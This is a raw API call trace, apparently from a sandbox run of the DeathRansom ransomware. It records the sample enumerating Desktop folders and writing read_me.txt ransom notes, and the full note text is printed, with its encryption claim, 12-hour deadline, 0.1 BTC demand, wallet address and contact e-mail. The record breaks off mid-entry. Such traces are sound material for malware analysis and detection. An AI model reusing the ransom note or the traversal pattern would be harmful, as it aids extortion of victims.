[0077.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41e20a8 | out: hHeap=0x540000) returned 1 [0077.814] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfbd148a0, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xfbd148a0, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Desktop", cAlternateFileName="")) returned 1 [0077.814] wnsprintfW (in: pszDest=0x41a2088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 41 [0077.814] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0077.814] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0077.815] StrStrW (lpFirst="desktop", lpSrch="programdata") returned 0x0 [0077.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41e20a8 [0077.815] lstrcpyW (in: lpString1=0x41e20a8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0077.815] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 39 [0077.815] QueueUserWorkItem (Function=0x40a710, Context=0x41e20a8, Flags=0x0) returned 1 [0077.815] GetProcessHeap () returned 0x540000 [0077.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f20b0 [0077.816] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned 43 [0077.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfbd148a0, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xfbd148a0, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.816] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 43 [0077.816] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.816] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.816] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfbd148a0, ftLastAccessTime.dwHighDateTime=0x1d59fdc, ftLastWriteTime.dwLowDateTime=0xfbd148a0, ftLastWriteTime.dwHighDateTime=0x1d59fdc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.816] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\..") returned 44 [0077.816] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.816] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0xa2bb8790, ftLastAccessTime.dwHighDateTime=0x1d4cc3c, ftLastWriteTime.dwLowDateTime=0xa2bb8790, ftLastWriteTime.dwHighDateTime=0x1d4cc3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="6b2d_l45Xgik", cAlternateFileName="6B2D_L~1")) returned 1 [0077.816] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik") returned 54 [0077.816] lstrcmpW (lpString1="6b2d_l45Xgik", lpString2="..") returned 1 [0077.816] lstrcmpW (lpString1="6b2d_l45Xgik", lpString2=".") returned 1 [0077.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42020b8 [0077.817] lstrcpyW (in: lpString1=0x42020b8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik" [0077.817] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 40 [0077.817] QueueUserWorkItem (Function=0x40a710, Context=0x42020b8, Flags=0x0) returned 1 [0077.817] GetProcessHeap () returned 0x540000 [0077.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42120c0 [0077.818] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\*") returned 56 [0077.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0xa2bb8790, ftLastAccessTime.dwHighDateTime=0x1d4cc3c, ftLastWriteTime.dwLowDateTime=0xa2bb8790, ftLastWriteTime.dwHighDateTime=0x1d4cc3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0077.818] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\.") returned 56 [0077.818] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.818] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd5cd40, ftCreationTime.dwHighDateTime=0x1d4ca3b, ftLastAccessTime.dwLowDateTime=0xa2bb8790, ftLastAccessTime.dwHighDateTime=0x1d4cc3c, ftLastWriteTime.dwLowDateTime=0xa2bb8790, ftLastWriteTime.dwHighDateTime=0x1d4cc3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\..") returned 57 [0077.819] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.819] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f68480, ftCreationTime.dwHighDateTime=0x1d4cea6, ftLastAccessTime.dwLowDateTime=0x27aee00, ftLastAccessTime.dwHighDateTime=0x1d4c585, ftLastWriteTime.dwLowDateTime=0x27aee00, ftLastWriteTime.dwHighDateTime=0x1d4c585, nFileSizeHigh=0x0, nFileSizeLow=0x15fe9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="8SmLhGM4tn987.gif", cAlternateFileName="8SMLHG~1.GIF")) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\8SmLhGM4tn987.gif") returned 72 [0077.819] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e98610, ftCreationTime.dwHighDateTime=0x1d4cbb5, ftLastAccessTime.dwLowDateTime=0x50245fc0, ftLastAccessTime.dwHighDateTime=0x1d4d04c, ftLastWriteTime.dwLowDateTime=0x50245fc0, ftLastWriteTime.dwHighDateTime=0x1d4d04c, nFileSizeHigh=0x0, nFileSizeLow=0xa33d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jTOlCJvGiF0z.mkv", cAlternateFileName="JTOLCJ~1.MKV")) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\jTOlCJvGiF0z.mkv") returned 71 [0077.819] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d6a850, ftCreationTime.dwHighDateTime=0x1d4d574, ftLastAccessTime.dwLowDateTime=0x92fe2a50, ftLastAccessTime.dwHighDateTime=0x1d4cc1f, ftLastWriteTime.dwLowDateTime=0x92fe2a50, ftLastWriteTime.dwHighDateTime=0x1d4cc1f, nFileSizeHigh=0x0, nFileSizeLow=0xdefe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PBB z.jpg", cAlternateFileName="PBBZ~1.JPG")) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\PBB z.jpg") returned 64 [0077.819] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fffd1c0, ftCreationTime.dwHighDateTime=0x1d4d250, ftLastAccessTime.dwLowDateTime=0xd41f90b0, ftLastAccessTime.dwHighDateTime=0x1d4cfac, ftLastWriteTime.dwLowDateTime=0xd41f90b0, ftLastWriteTime.dwHighDateTime=0x1d4cfac, nFileSizeHigh=0x0, nFileSizeLow=0x17810, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="z N4Tn7Vs-.doc", cAlternateFileName="ZN4TN7~1.DOC")) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\z N4Tn7Vs-.doc") returned 69 [0077.819] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fffd1c0, ftCreationTime.dwHighDateTime=0x1d4d250, ftLastAccessTime.dwLowDateTime=0xd41f90b0, ftLastAccessTime.dwHighDateTime=0x1d4cfac, ftLastWriteTime.dwLowDateTime=0xd41f90b0, ftLastWriteTime.dwHighDateTime=0x1d4cfac, nFileSizeHigh=0x0, nFileSizeLow=0x17810, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="z N4Tn7Vs-.doc", cAlternateFileName="ZN4TN7~1.DOC")) returned 0 [0077.819] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0077.819] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\read_me.txt") returned 66 [0077.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6b2d_l45Xgik\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6b2d_l45xgik\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0077.887] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.887] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.888] CloseHandle (hObject=0x7a8) returned 1 [0077.888] GetProcessHeap () returned 0x540000 [0077.888] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bc09af0, ftCreationTime.dwHighDateTime=0x1d4cc08, ftLastAccessTime.dwLowDateTime=0x5a8e9d40, ftLastAccessTime.dwHighDateTime=0x1d4cc9b, ftLastWriteTime.dwLowDateTime=0x5a8e9d40, ftLastWriteTime.dwHighDateTime=0x1d4cc9b, nFileSizeHigh=0x0, nFileSizeLow=0x2cc5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="7rahvnf-8HbKYYTPWa.xlsx", cAlternateFileName="7RAHVN~1.XLS")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7rahvnf-8HbKYYTPWa.xlsx") returned 65 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc9d560, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0x45401cd0, ftLastAccessTime.dwHighDateTime=0x1d4d3e8, ftLastWriteTime.dwLowDateTime=0x45401cd0, ftLastWriteTime.dwHighDateTime=0x1d4d3e8, nFileSizeHigh=0x0, nFileSizeLow=0x5455, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="7xDEzSaHXEl1.flv", cAlternateFileName="7XDEZS~1.FLV")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7xDEzSaHXEl1.flv") returned 58 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c9bf120, ftCreationTime.dwHighDateTime=0x1d4d02b, ftLastAccessTime.dwLowDateTime=0xb06a3950, ftLastAccessTime.dwHighDateTime=0x1d4c899, ftLastWriteTime.dwLowDateTime=0xb06a3950, ftLastWriteTime.dwHighDateTime=0x1d4c899, nFileSizeHigh=0x0, nFileSizeLow=0xd084, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="D08IlIyt8xaqUv.m4a", cAlternateFileName="D08ILI~1.M4A")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D08IlIyt8xaqUv.m4a") returned 60 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773fcde0, ftCreationTime.dwHighDateTime=0x1d4d26f, ftLastAccessTime.dwLowDateTime=0x6910090, ftLastAccessTime.dwHighDateTime=0x1d4cf4b, ftLastWriteTime.dwLowDateTime=0x6910090, ftLastWriteTime.dwHighDateTime=0x1d4cf4b, nFileSizeHigh=0x0, nFileSizeLow=0x1636, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dAi9bizsAAm.png", cAlternateFileName="DAI9BI~1.PNG")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dAi9bizsAAm.png") returned 57 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned 53 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe05c5960, ftCreationTime.dwHighDateTime=0x1d4ce6e, ftLastAccessTime.dwLowDateTime=0xcaca5860, ftLastAccessTime.dwHighDateTime=0x1d4d32b, ftLastWriteTime.dwLowDateTime=0xcaca5860, ftLastWriteTime.dwHighDateTime=0x1d4d32b, nFileSizeHigh=0x0, nFileSizeLow=0x110fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DlzL_Vv.png", cAlternateFileName="")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DlzL_Vv.png") returned 53 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14bc2b50, ftCreationTime.dwHighDateTime=0x1d4c9a5, ftLastAccessTime.dwLowDateTime=0xd23d6b10, ftLastAccessTime.dwHighDateTime=0x1d4ce6b, ftLastWriteTime.dwLowDateTime=0xd23d6b10, ftLastWriteTime.dwHighDateTime=0x1d4ce6b, nFileSizeHigh=0x0, nFileSizeLow=0xc0da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GaUqyqeU_-Fv.mp3", cAlternateFileName="GAUQYQ~1.MP3")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GaUqyqeU_-Fv.mp3") returned 58 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8031300, ftCreationTime.dwHighDateTime=0x1d4d298, ftLastAccessTime.dwLowDateTime=0x99cf5bc0, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0x99cf5bc0, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0xe9cd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GTPM1JaN1o0n-HKEyloG.wav", cAlternateFileName="GTPM1J~1.WAV")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GTPM1JaN1o0n-HKEyloG.wav") returned 66 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dce0, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0x2e7beb30, ftLastAccessTime.dwHighDateTime=0x1d4ce22, ftLastWriteTime.dwLowDateTime=0x2e7beb30, ftLastWriteTime.dwHighDateTime=0x1d4ce22, nFileSizeHigh=0x0, nFileSizeLow=0xbe3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="h3Q q_2em5Dz.jpg", cAlternateFileName="H3QQ_2~1.JPG")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h3Q q_2em5Dz.jpg") returned 58 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89eaea70, ftCreationTime.dwHighDateTime=0x1d4cc24, ftLastAccessTime.dwLowDateTime=0x3f2ade0, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x3f2ade0, ftLastWriteTime.dwHighDateTime=0x1d4ce6d, nFileSizeHigh=0x0, nFileSizeLow=0xf0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="I5TKi8Vul-lZk.rtf", cAlternateFileName="I5TKI8~1.RTF")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I5TKi8Vul-lZk.rtf") returned 59 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32bc410, ftCreationTime.dwHighDateTime=0x1d4ce35, ftLastAccessTime.dwLowDateTime=0xdd54ae10, ftLastAccessTime.dwHighDateTime=0x1d4c820, ftLastWriteTime.dwLowDateTime=0xdd54ae10, ftLastWriteTime.dwHighDateTime=0x1d4c820, nFileSizeHigh=0x0, nFileSizeLow=0x18796, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IFNkkkLY cz646fa.avi", cAlternateFileName="IFNKKK~1.AVI")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IFNkkkLY cz646fa.avi") returned 62 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64c10550, ftCreationTime.dwHighDateTime=0x1d4cfa2, ftLastAccessTime.dwLowDateTime=0x499c8160, ftLastAccessTime.dwHighDateTime=0x1d4c81c, ftLastWriteTime.dwLowDateTime=0x499c8160, ftLastWriteTime.dwHighDateTime=0x1d4c81c, nFileSizeHigh=0x0, nFileSizeLow=0x89d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="j2KXC8yB_u.avi", cAlternateFileName="J2KXC8~1.AVI")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j2KXC8yB_u.avi") returned 56 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c744b90, ftCreationTime.dwHighDateTime=0x1d4d204, ftLastAccessTime.dwLowDateTime=0xb4623270, ftLastAccessTime.dwHighDateTime=0x1d4cf73, ftLastWriteTime.dwLowDateTime=0xb4623270, ftLastWriteTime.dwHighDateTime=0x1d4cf73, nFileSizeHigh=0x0, nFileSizeLow=0x10e81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MIV306n.swf", cAlternateFileName="")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIV306n.swf") returned 53 [0077.889] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5355e30, ftCreationTime.dwHighDateTime=0x1d4cfb9, ftLastAccessTime.dwLowDateTime=0x27bc4e10, ftLastAccessTime.dwHighDateTime=0x1d4c5bd, ftLastWriteTime.dwLowDateTime=0x27bc4e10, ftLastWriteTime.dwHighDateTime=0x1d4c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="p8UL_ERV", cAlternateFileName="")) returned 1 [0077.889] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV") returned 50 [0077.889] lstrcmpW (lpString1="p8UL_ERV", lpString2="..") returned 1 [0077.889] lstrcmpW (lpString1="p8UL_ERV", lpString2=".") returned 1 [0077.890] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42120c0 [0077.890] lstrcpyW (in: lpString1=0x42120c0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS 